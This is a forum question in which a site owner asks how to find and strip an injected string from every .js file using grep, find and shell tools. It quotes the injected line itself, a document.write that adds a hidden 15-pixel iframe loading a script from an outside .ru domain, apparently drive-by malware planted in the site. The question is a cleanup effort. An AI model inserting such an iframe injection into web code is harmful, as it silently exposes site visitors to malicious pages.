title: find and delete string in all *.js files with ssh unix?
body: <p>I'm trying to find a string in all js-files (recursively in all subfolders) and remove the string if possible and show which file was processed (so I can check it afterwards).</p>
  
  <p>I was able to look for the string.</p>
  
  <pre><code>grep -lr --include="*.js" "antivirusesratings.ru" .
  </code></pre>
  
  <p>and with this: (not sure if there is a difference between the two methods?)</p>
  
  <pre><code>find ./ -type f | xargs grep -l "antivirusesratings.ru"
  </code></pre>
  
  <p>So maybe the last example can be altered so that it deletes the string too.
  Now that I think about it. The string that I want to erase has quotes. No clue in how to do it for the following string which I'm really trying to remove everywhere.</p>
  
  <pre><code>;document.write('&lt;iframe src="http://antivirusesratings.ru/thenautoreplies.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"&gt;&lt;/iframe&gt;')
  </code></pre>
  
  <p>Thanks in advance.
  I really appreciate it!</p>
  
  <p>Regards,</p>
  
  <p>Gosa</p>